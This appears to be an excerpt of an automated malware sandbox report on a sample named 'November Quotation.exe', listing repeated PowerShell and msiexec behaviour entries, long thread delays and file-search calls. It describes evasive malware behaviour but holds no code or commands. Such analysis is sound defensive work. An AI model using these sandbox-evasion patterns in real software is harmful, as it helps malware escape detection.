Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597245	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596903	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596782	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596557	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593970	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6563			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3179			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1184	Thread sleep count: 1181 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1184	Thread sleep count: 8643 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599172s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597245s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596903s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596782s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596557s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -596063s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1172	Thread sleep time: -593970s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\November Quotation.exe	Code function: 0_2_004060E4 FindFirstFileW,FindClose,	0_2_004060E4
Source: C:\Users\user\Desktop\November Quotation.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\November Quotation.exe	Code function: 0_2_00405629 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405629

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597245	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596903	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596782	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596557	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594235	Jump to behavior
